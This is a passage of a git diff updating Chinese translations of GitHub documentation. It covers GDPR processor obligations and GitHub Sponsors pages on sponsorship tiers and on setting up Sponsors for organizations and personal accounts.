      +
    1. 只能依照客户的书面指示处理个人数据,包括有关将个人数据传输到第三方国家/地区或国际组织,但对 GitHub 有约束力的欧盟法律或欧盟成员国法律要求这样做的情况除外;在此类情况下,GitHub 须在处理个人数据之前通知客户收到该法律要求,除非该法律以保护公共利益为由禁止发出此类通知;
    2. +
    3. 确保授权处理个人数据的人员承诺对个人数据进行保密或承诺履行相应的法定保密义务;
    4. +
    5. 采取 GDPR 第 32 条所要求的所有措施;
    6. +
    7. 遵守第 1 段和第 3 段中所述的有关雇用其他处理方的条件;
    8. +
    9. 根据处理性质,通过采取适当的技术和组织措施,竭尽所能协助客户履行其义务,以满足 GDPR 第 III 章中规定的行使数据主体权利的要求;
    10. +
    11. 根据处理性质并结合 GitHub 所掌握的信息,协助并确保客户履行 GDPR 第 32 至 36 条所规定的义务;
    12. +
    13. 在停止提供与处理相关的服务时,根据用户所做出的选择,删除所有个人数据或将所有个人数据返还给客户,并删除现有副本,但欧盟法律或欧盟成员国法律要求存储个人数据的情况除外;
    14. +
    15. 为客户提供所有必要信息,以证明已履行 GDPR 第 28 条所规定的义务,并允许客户或受客户委托的其他审查师进行审查(包括检查)并积极配合审查工作。
    16. +

    + 如果 GitHub 认为某条指令违反了 GDPR 或其他欧盟数据保护条例或欧盟成员国数据保护条例,GitHub 须立即通知客户。 (第 28(3) 条)

    +
  5. 如果 GitHub 雇用其他处理方来代表客户执行特定的处理活动,则本 GDPR 相关条款中规定的相同数据保护义务将以合同或欧盟法律或欧盟成员国法律所规定的其他法定形式强制施加给该其他处理方,具体来说,须提供充分的保障,以实施适当的技术和组织措施,确保个人数据处理符合 GDPR 的相关要求。 如果该其他处理方未能履行其数据保护义务,则 GitHub 须继续对客户负责,并全面履行该其他处理方的义务。 (第 28(4) 条)
  6. +
  7. 考虑到技术现状、实施成本、数据处理的性质、范围、背景环境和目的,以及自然人的权利和自由发生变化的可能性和严重性风险,客户和 GitHub 须采取适当的技术和组织措施,以确保实施与相关风险相应的安全级别,尤其是酌情包括:
  8. +
      +
    1. 个人数据的假名化和加密;
    2. +
    3. 确保处理系统和服务具有持续的保密性、完整性、可用性和故障恢复能力;
    4. +
    5. 当发生物理或技术事件时,及时恢复个人数据的可用性和可访问性的能力;以及
    6. +
    7. 对技术和组织措施的有效性进行定期测试、考核和评估的流程,以确保数据处理的安全性。 (第 32(1) 条)
    8. +
    +
  9. 在评估适当的安全级别时,须考虑处理带来的风险,特别是意外或非法破坏、丢失、更改、未经授权披露或访问传输、存储或以其他方式处理的个人数据(第 32(2) 条)。
  10. +
  11. 客户和 GitHub 须采取措施,以确保在未获得客户指令的情况下,经客户或 GitHub 授权访问个人数据的任何自然人不得处理个人数据,除非欧盟法律或欧盟成员国法律要求其这样做(第 32(4) 条)。
  12. +
  13. GitHub 须在发现个人数据泄露后立即通知客户(第 33(2) 条)。 此类通知包括根据第 33(3) 条处理方必须向控制方提供的、微软可合理获得的信息。
  14. +
+ +--------------- + +

《欧洲经济区协定》(EEA 协定)规定将欧洲联盟的内部市场扩大到冰岛、列支敦士登和挪威这三个欧洲经济区国家。 欧盟数据保护立法,包括法规 (EU) 2016/679,受欧洲经济区协议的约束,并已纳入其附录 XI。 因此,就本条款而言,数据输入者向位于欧洲经济区的第三方披露的任何信息均不符合向外传输的条件。

+ +

(2) 根据第 7 条,在相应模块下加入这些条款的子处理方可能满足此要求。

+ +

(3) 关于此类法律和惯例对遵守这些条款的影响,可将不同的要素视为总体评估的一部分。 这些要素可包括公共当局以前要求披露或没有此类请求的相关且有案可稽的实践经验,涵盖有充分代表性的时限。 这特指内部记录或其他文件,这些文件是根据尽职调查连续起草的,并经高级管理层认证,前提是这些信息可以合法地与第三方共享。 如果依靠这一实际经验得出数据输入者遵守这些条款的结论,则需要得到其他相关客观要素的支持,缔约方应仔细考虑这些要素在可靠性和代表性方面是否具有足够的份量来支持这一结论。 特别是,缔约方必须考虑其实际经验是否得到证实,是否与关于同一部门内是否存在请求和/或实践中法律适用情况的公开可获得或以其他方式可获得的可靠信息相矛盾,例如判例法和独立监督机构的报告。

diff --git a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md index b41ad203ec..7f79ec2b02 100644 --- a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md +++ b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md @@ -1,6 +1,6 @@ --- -title: Managing your sponsorship tiers -intro: 'You can add a new sponsorship tier, or edit or retire an existing tier.' +title: 管理赞助等级 +intro: 您可以添加新的赞助等级,也可以编辑或撤销现有等级。 redirect_from: - /articles/changing-your-sponsorship-tiers - /github/supporting-the-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers @@ -13,85 +13,76 @@ topics: - Open Source - Sponsors profile shortTitle: Manage payment tiers +ms.openlocfilehash: 4ff2d3731483075afc23da403e62f1682c6dd6c7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145130040' --- - -## About sponsorship tiers +## 关于赞助等级 {% data reusables.sponsors.tier-details %} {% data reusables.sponsors.maximum-tier %} -## Adding a tier +## 添加等级 -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -1. If you are setting up tiers for the first time, we recommend you review the suggested tier examples to see how some other open source contributors have set up {% data variables.product.prodname_sponsors %}. Decide whether you want to start with some suggested draft tiers, which you can customize in the tier editor. - - To use a suggested tier, select the rewards you'd like to include in your draft tier or tiers. Then, click **Continue to tier editor**. - - To create tiers without using with any of the draft suggestions, click **Skip this step**. - - ![Screenshot of "Skip this step" option and "Continue to tier editor" button](/assets/images/help/sponsors/tier-editor-button.png) +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} +1. 如果您是第一次设置等级,我们建议您查看建议的等级示例,看看其他一些开源贡献者是如何设置 {% data variables.product.prodname_sponsors %} 的。 决定是否要从一些建议的草稿层开始,您可以在等级编辑器中自定义这些等级。 + - 要使用建议的等级,请选择你想要包含在草稿等级或等级中的奖励。 然后单击“继续前往层编辑器”。 + - 要创建层而不使用任何草稿建议,请单击“跳过此步骤”。 + ![“跳过此步骤”选项和“继续前往层编辑器”按钮](/assets/images/help/sponsors/tier-editor-button.png) +1. (可选)要编辑草稿层,找到草稿层并单击“编辑”。 + ![草稿层旁的编辑按钮](/assets/images/help/sponsors/draft-tier-edit.png) {% data reusables.sponsors.click-add-tier %} {% data reusables.sponsors.tier-price-description %} {% data reusables.sponsors.add-welcome-message %} {% data reusables.sponsors.save-tier-draft %} {% data reusables.sponsors.review-and-publish-tier %} -1. Optionally, in the text boxes under "Custom amounts", type a recommended or minimum sponsorship amount. The minimum amount applies to both recurring and one-time sponsorships. +## 编辑或撤销等级 - ![Screenshot of custom amounts fields](/assets/images/help/sponsors/custom-amounts.png) +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} {% data reusables.sponsors.edit-tier %} {% note %} -1. Optionally, to edit a draft tier, find the draft tier and click **Edit**. + 注意:若要查看层概念的说明,请向下滚动。 - ![Screenshot of edit button next to draft tier](/assets/images/help/sponsors/draft-tier-edit.png) + {% endnote %} {% data reusables.sponsors.tier-price-description %} {% data reusables.sponsors.tier-update %} {% data reusables.sponsors.retire-tier %} -{% data reusables.sponsors.click-add-tier %} -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.add-welcome-message %} -{% data reusables.sponsors.save-tier-draft %} -{% data reusables.sponsors.review-and-publish-tier %} - -## Editing or retiring a tier - -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.edit-tier %} - {% note %} - - **Note:** To see ideas of tier descriptions, scroll down. - - {% endnote %} -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.tier-update %} -{% data reusables.sponsors.retire-tier %} - -## Adding a repository to a sponsorship tier +## 将仓库添加到赞助等级 {% data reusables.sponsors.sponsors-only-repos %} -### About adding repositories to a sponsorship tier +### 关于将存储库添加到赞助等级 -To add a repository to a tier, the repository must be private and owned by an organization, and you must have admin access to the repository. +要将仓库添加到等级,仓库必须是私有的,并且由组织拥有,同时您必须具有对仓库的管理员访问权限。 -When you add a repository to a tier, {% data variables.product.company_short %} will automatically send repository invitations to new sponsors and remove access when a sponsorship is cancelled. +将仓库添加到等级时,{% data variables.product.company_short %} 将自动向新赞助商发送仓库邀请,并在取消赞助时删除访问权限。 -Only personal accounts, not organizations, can be invited to private repositories associated with a sponsorship tier. +只有个人帐户(而非组织)才能被邀请到与赞助等级关联的私有仓库。 -You can also manually add or remove collaborators to the repository, and {% data variables.product.company_short %} will not override these in the sync. +您还可以在仓库中手动添加或删除协作者,{% data variables.product.company_short %} 不会在同步中覆盖这些协作者。 -### About transfers for repositories that are added to sponsorship tiers +### 关于添加到赞助等级的仓库的转移 -If you transfer a repository that has been added to a sponsorship tier, sponsors who have access to the repository through the tier may be affected. +如果将已添加到赞助等级的存储库转移,则有权通过该等级访问仓库的发起人可能会受到影响。 -- If the sponsored profile is for an organization and the repository is transferred to a different organization, current sponsors will be transferred, but new sponsors will not be added. The new owner of the repository can remove existing sponsors. -- If the sponsored profile is for a personal account, the repository is transferred to an organization, and the personal account has admin access to the new repository, existing sponsors will be transferred, and new sponsors will continue to be added to the repository. -- If the repository is transferred to a personal account, all sponsors will be removed and new sponsors will not be added to the repository. +- 如果赞助的配置文件是针对某个组织的,并且仓库被转移到其他组织,则将转移当前的赞助商,但不会添加新的赞助商。 仓库的新所有者可以删除现有赞助商。 +- 如果赞助的个人资料用于个人帐户,仓库转移到组织,并且个人帐户具有对新仓库的管理员访问权限,则将转移现有赞助商,并且将继续将新赞助商添加到仓库。 +- 如果仓库转移到个人帐户,则所有赞助商都将被删除,并且不会将新的赞助商添加到仓库中。 -### Adding a repository a sponsorship tier +### 将仓库添加到赞助等级 -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.edit-tier %} -1. Select **Grant sponsors access to a private repository**. +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} {% data reusables.sponsors.edit-tier %} +1. 选择“授权赞助者访问专用存储库”。 - ![Screenshot of checkbox to grant sponsors access to a private repository](/assets/images/help/sponsors/grant-sponsors-access-to-repo-checkbox.png) + ![用于授予发起人访问私有仓库的复选框的屏幕截图](/assets/images/help/sponsors/grant-sponsors-access-to-repo-checkbox.png) -1. Select the dropdown menu and click the repository you want to add. +1. 选择下拉菜单并单击您想要添加的仓库。 - ![Screenshot of dropdown menu to choose the repository to grant sponsors access to](/assets/images/help/sponsors/grant-sponsors-access-to-repo-dropdown.png) + ![下拉菜单的屏幕截图,用于选择要授予赞助商访问权限的存储库](/assets/images/help/sponsors/grant-sponsors-access-to-repo-dropdown.png) {% data reusables.sponsors.tier-update %} + +## 启用具有自定义金额的等级 + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} {% data reusables.sponsors.enable-custom-amounts %} + +## 禁用具有自定义金额的等级 + +可以通过在“赞助者层”选项卡中取消选择“启用自定义金额”选项来禁用具有自定义金额的层 。 diff --git a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md index b96b7c361a..c00e45cc39 100644 --- a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md +++ b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Setting up GitHub Sponsors for your organization -intro: 'Your organization can join {% data variables.product.prodname_sponsors %} to receive payments for your work.' +title: 为您的组织设置 GitHub Sponsors +intro: '您的组织可以加入 {% data variables.product.prodname_sponsors %} 以接受对您工作的付款。' redirect_from: - /articles/setting-up-github-sponsorship-for-your-organization - /articles/receiving-sponsorships-as-a-sponsored-organization @@ -15,84 +15,64 @@ topics: - Sponsors profile - Open Source shortTitle: Set up for organization +ms.openlocfilehash: d7de813453d379ae898cc26d9579e06710aab26d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164468' --- - -## Joining {% data variables.product.prodname_sponsors %} +## 加入 {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.you-can-be-a-sponsored-organization %} {% data reusables.sponsors.stripe-supported-regions %} -After you receive an invitation for your organization to join {% data variables.product.prodname_sponsors %}, you can complete the steps below to become a sponsored organization. +收到邀请您的组织加入 {% data variables.product.prodname_sponsors %} 的邀请后,您可以完成以下步骤以成为被赞助的组织。 -To join {% data variables.product.prodname_sponsors %} as an individual contributor outside an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)." +若要将 {% data variables.product.prodname_sponsors %} 作为组织外部的个人参与者加入,请参阅“[为个人帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)”。 -{% data reusables.sponsors.navigate-to-github-sponsors %} -{% data reusables.sponsors.view-eligible-accounts %} -3. To the right of your organization, click **Join the waitlist**. -{% data reusables.sponsors.contact-info %} -{% data reusables.sponsors.payout-choice %} - ![Screenshot of option to choose between a bank account and a fiscal host](/assets/images/help/sponsors/org-waitlist-payout-options.png) +{% data reusables.sponsors.navigate-to-github-sponsors %} {% data reusables.sponsors.view-eligible-accounts %} +3. 在组织的右侧,单击“加入等待列表”。 +{% data reusables.sponsors.contact-info %} {% data reusables.sponsors.accept-legal-terms %} -{% data reusables.sponsors.accept-legal-terms %} +## 填写被赞助组织资料 -## Completing your sponsored organization profile +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-profile-tab %} {% data reusables.sponsors.short-bio %} {% data reusables.sponsors.add-introduction %} {% data reusables.sponsors.meet-the-team %} {% data reusables.sponsors.edit-featured-work %} {% data reusables.sponsors.opt-in-to-being-featured %} {% data reusables.sponsors.save-profile %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-profile-tab %} -{% data reusables.sponsors.short-bio %} -{% data reusables.sponsors.add-introduction %} -{% data reusables.sponsors.meet-the-team %} -{% data reusables.sponsors.edit-featured-work %} -{% data reusables.sponsors.opt-in-to-being-featured %} -{% data reusables.sponsors.save-profile %} - -## Creating sponsorship tiers +## 创建赞助等级 {% data reusables.sponsors.tier-details %} {% data reusables.sponsors.maximum-tier %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.click-add-tier %} -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.add-welcome-message %} -{% data reusables.sponsors.save-tier-draft %} -{% data reusables.sponsors.review-and-publish-tier %} -{% data reusables.sponsors.add-more-tiers %} +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} {% data reusables.sponsors.click-add-tier %} {% data reusables.sponsors.tier-price-description %} {% data reusables.sponsors.add-welcome-message %} {% data reusables.sponsors.save-tier-draft %} {% data reusables.sponsors.review-and-publish-tier %} {% data reusables.sponsors.add-more-tiers %} -## Submitting your bank information +## 提交您的银行信息 -As a sponsored organization, you will receive payouts to a bank account in a supported region or via a fiscal host. - -{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see "[Using a fiscal host to receive GitHub Sponsors payouts](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts)." - -If you choose to receive payouts to a bank account, your bank account can be a dedicated bank account for your organization or a personal bank account. You can get a business bank account through services like [Stripe Atlas](https://stripe.com/atlas). The person setting up {% data variables.product.prodname_sponsors %} for the organization must live in the same supported region, too. {% data reusables.sponsors.stripe-supported-regions %} +作为被赞助组织,您将在受支持的区域接收支付到银行帐户的赞助款。 这可以是您组织的专用银行帐户或个人银行帐户。 可以通过 [Stripe Atlas](https://stripe.com/atlas) 等服务获取商业银行帐户,也可以加入 [Open Collective](https://opencollective.com/) 等财务托管。 为组织设置 {% data variables.product.prodname_sponsors %} 的人员也必须居住在同一受支持的区域。 {% data reusables.sponsors.stripe-supported-regions %} {% data reusables.sponsors.double-check-stripe-info %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.create-stripe-account %} +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.create-stripe-account %} -## Submitting your tax information +有关使用 Open Collective 设置 Stripe 连接的详细信息,请参阅 Open Collective 文档中的[设置 {% data variables.product.prodname_sponsors %}](https://docs.opencollective.com/help/collectives/github-sponsors)。 + +## 提交您的税务信息 {% data reusables.sponsors.tax-form-information-org %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.overview-tab %} -{% data reusables.sponsors.tax-form-link %} +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.overview-tab %} {% data reusables.sponsors.tax-form-link %} -## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account +## 在您的 {% data variables.product.prodname_dotcom %} 帐户上启用双重身份验证 (2FA)。 -Before your organization can become a sponsored organization, you must enable 2FA for your account on {% data variables.location.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." +在您的组织成为被赞助的组织之前,您必须为您在 {% data variables.product.product_location %} 上的帐户启用 2FA。 有关详细信息,请参阅“[配置双重身份验证](/articles/configuring-two-factor-authentication)”。 -## Submitting your application to {% data variables.product.prodname_dotcom %} for approval +## 向 {% data variables.product.prodname_dotcom %} 提交申请以请求批准 -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.request-approval %} +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.request-approval %} {% data reusables.sponsors.github-review-app %} -## Further reading +## 延伸阅读 -- "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" -- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)" +- [关于 {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors) +- [通过 {% data variables.product.prodname_sponsors %} 接受赞助](/sponsors/receiving-sponsorships-through-github-sponsors) diff --git a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md index 77f5cb9377..4af951e64f 100644 --- a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md +++ b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md @@ -1,6 +1,6 @@ --- -title: Setting up GitHub Sponsors for your personal account -intro: 'You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %}, completing your sponsored developer profile, creating sponsorship tiers, submitting your bank and tax information, and enabling two-factor authentication for your account on {% data variables.location.product_location %}.' +title: 针对个人帐户设置 GitHub 赞助商 +intro: '要成为被赞助的开发者,请加入 {% data variables.product.prodname_sponsors %}、填写被赞助开发者个人资料、创建赞助等级、提交您的银行和税务信息并为您在 {% data variables.product.product_location %} 上的帐户启用双重身份验证。' redirect_from: - /articles/becoming-a-sponsored-developer - /github/supporting-the-open-source-community-with-github-sponsors/becoming-a-sponsored-developer @@ -14,82 +14,62 @@ topics: - User account - Sponsors profile shortTitle: Set up for personal account +ms.openlocfilehash: 288dd5ab53d1a27b7f97ccf9429973a668d8f72b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164620' --- - -## Joining {% data variables.product.prodname_sponsors %} +## 加入 {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.you-can-be-a-sponsored-developer %} {% data reusables.sponsors.stripe-supported-regions %} -To join {% data variables.product.prodname_sponsors %} as an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." +若要将 {% data variables.product.prodname_sponsors %} 作为组织加入,请参阅“[为组织设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)”。 {% data reusables.sponsors.navigate-to-github-sponsors %} -2. If you are an organization owner, you have more than one eligible account. Click **Get sponsored**, then in the list of accounts, find your personal account. - ![Screenshot of the Get sponsored button](/assets/images/help/sponsors/get-sponsored.png) -3. Click **Join the waitlist**. -{% data reusables.sponsors.contact-info %} -{% data reusables.sponsors.payout-choice %} - ![Screenshot of option to choose between a bank account and a fiscal host](/assets/images/help/sponsors/user-waitlist-payout-options.png) +2. 如果您是组织所有者,则有多个符合条件的帐户。 单击“查看符合条件的帐户”,然后在帐户列表中找到你的个人帐户。 +3. 单击“加入等待列表”。 +{% data reusables.sponsors.contact-info %} {% data reusables.sponsors.accept-legal-terms %} -{% data reusables.sponsors.accept-legal-terms %} +如果您在受支持的区域有银行帐户, {% data variables.product.prodname_dotcom %} 将在两周内审核您的申请。 -If you have a bank account in a supported region, {% data variables.product.prodname_dotcom %} will review your application within two weeks. +## 填写被赞助开发者个人资料 -## Completing your sponsored developer profile +在 {% data variables.product.prodname_dotcom %} 审核您的申请后,您可以设置您的被赞助开发者个人资料,以便人们可以开始赞助您。 -After {% data variables.product.prodname_dotcom %} reviews your application, you can set up your sponsored developer profile so that people can start sponsoring you. +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-profile-tab %} {% data reusables.sponsors.short-bio %} {% data reusables.sponsors.add-introduction %} {% data reusables.sponsors.edit-featured-work %} {% data reusables.sponsors.opt-in-to-being-featured %} {% data reusables.sponsors.save-profile %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-profile-tab %} -{% data reusables.sponsors.short-bio %} -{% data reusables.sponsors.add-introduction %} -{% data reusables.sponsors.edit-featured-work %} -{% data reusables.sponsors.opt-in-to-being-featured %} -{% data reusables.sponsors.save-profile %} - -## Creating sponsorship tiers +## 创建赞助等级 {% data reusables.sponsors.tier-details %} {% data reusables.sponsors.maximum-tier %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} -{% data reusables.sponsors.click-add-tier %} -{% data reusables.sponsors.tier-price-description %} -{% data reusables.sponsors.add-welcome-message %} -{% data reusables.sponsors.save-tier-draft %} -{% data reusables.sponsors.review-and-publish-tier %} -{% data reusables.sponsors.add-more-tiers %} +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} {% data reusables.sponsors.click-add-tier %} {% data reusables.sponsors.tier-price-description %} {% data reusables.sponsors.add-welcome-message %} {% data reusables.sponsors.save-tier-draft %} {% data reusables.sponsors.review-and-publish-tier %} {% data reusables.sponsors.add-more-tiers %} -## Submitting your bank information +## 提交您的银行信息 -As a sponsored user, you will receive payouts to a bank account in a supported region or via a fiscal host. - -{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see "[Using a fiscal host to receive GitHub Sponsors payouts](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts)." - -If you choose to receive payouts to a bank account, your region of residence and the region of your bank account must match. {% data reusables.sponsors.stripe-supported-regions %} +如果您居住在受支持的区域,可以按照这些说明创建 Stripe Connect 帐户来提交银行信息。 您居住的区域与您的银行帐户所在区域必须匹配。 {% data reusables.sponsors.stripe-supported-regions %} {% data reusables.sponsors.double-check-stripe-info %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.create-stripe-account %} +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.create-stripe-account %} -## Submitting your tax information +## 提交您的税务信息 {% data reusables.sponsors.tax-form-information-dev %} -{% data reusables.sponsors.navigate-to-sponsors-dashboard %} -{% data reusables.sponsors.overview-tab %} -{% data reusables.sponsors.tax-form-link %} +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.overview-tab %} {% data reusables.sponsors.tax-form-link %} -## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account +## 在您的 {% data variables.product.prodname_dotcom %} 帐户上启用双重身份验证 (2FA)。 -Before you can become a sponsored developer, you must enable 2FA for your account on {% data variables.location.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." +在成为被赞助的开发者之前,您必须为您在 {% data variables.product.product_location %} 上的帐户启用 2FA。 有关详细信息,请参阅“[配置双因素身份验证](/articles/configuring-two-factor-authentication)”。 -## Submitting your application to {% data variables.product.prodname_dotcom %} for approval +## 向 {% data variables.product.prodname_dotcom %} 提交申请以请求批准 {% data reusables.sponsors.navigate-to-sponsors-dashboard %} -4. Click **Request approval**. - ![Request approval button](/assets/images/help/sponsors/request-approval-button.png) +4. 单击“请求审批”。 + ![“请求审批”按钮](/assets/images/help/sponsors/request-approval-button.png) {% data reusables.sponsors.github-review-app %} diff --git a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md new file mode 100644 index 0000000000..84ccc8bbf7 --- /dev/null +++ b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md @@ -0,0 +1,74 @@ +--- +title: 为您的用户帐户设置 GitHub Sponsors +intro: You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %}, completing your sponsored developer profile, creating sponsorship tiers, submitting your bank and tax information, and enabling two-factor authentication for your account on {% data variables.product.product_location %}. +redirect_from: +- /articles/becoming-a-sponsored-developer +- /github/supporting-the-open-source-community-with-github-sponsors/becoming-a-sponsored-developer +- /github/supporting-the-open-source-community-with-github-sponsors/setting-up-github-sponsors-for-your-user-account +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- User account +- Sponsors profile +shortTitle: Set up for personal account +ms.openlocfilehash: ec5b04d98410b94d5f5f12f55989b6165e5e3b20 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145130244" +--- +## 加入 {% data variables.product.prodname_sponsors %} + +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} {% data reusables.sponsors.stripe-supported-regions %} + +若要将 {% data variables.product.prodname_sponsors %} 作为组织加入,请参阅“[为组织设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)”。 + +{% data reusables.sponsors.navigate-to-github-sponsors %} +2. 如果您是组织所有者,则有多个符合条件的帐户。 单击“查看符合条件的帐户”,然后在帐户列表中找到你的个人帐户。 +3. 单击“加入等待列表”。 +{% data reusables.sponsors.contact-info %} {% data reusables.sponsors.accept-legal-terms %} + +如果您在受支持的区域有银行帐户, {% data variables.product.prodname_dotcom %} 将在两周内审核您的申请。 + +## 填写被赞助开发者个人资料 + +在 {% data variables.product.prodname_dotcom %} 审核您的申请后,您可以设置您的被赞助开发者个人资料,以便人们可以开始赞助您。 + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-profile-tab %} {% data reusables.sponsors.short-bio %} {% data reusables.sponsors.add-introduction %} {% data reusables.sponsors.edit-featured-work %} {% data reusables.sponsors.opt-in-to-being-featured %} {% data reusables.sponsors.save-profile %} + +## 创建赞助等级 + +{% data reusables.sponsors.tier-details %} + +{% data reusables.sponsors.maximum-tier %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} {% data reusables.sponsors.click-add-tier %} {% data reusables.sponsors.tier-price-description %} {% data reusables.sponsors.add-welcome-message %} {% data reusables.sponsors.save-tier-draft %} {% data reusables.sponsors.review-and-publish-tier %} {% data reusables.sponsors.add-more-tiers %} + +## 提交您的银行信息 + +如果您居住在受支持的区域,可以按照这些说明创建 Stripe Connect 帐户来提交银行信息。 您居住的区域与您的银行帐户所在区域必须匹配。 {% data reusables.sponsors.stripe-supported-regions %} + +{% data reusables.sponsors.double-check-stripe-info %} + +{% data 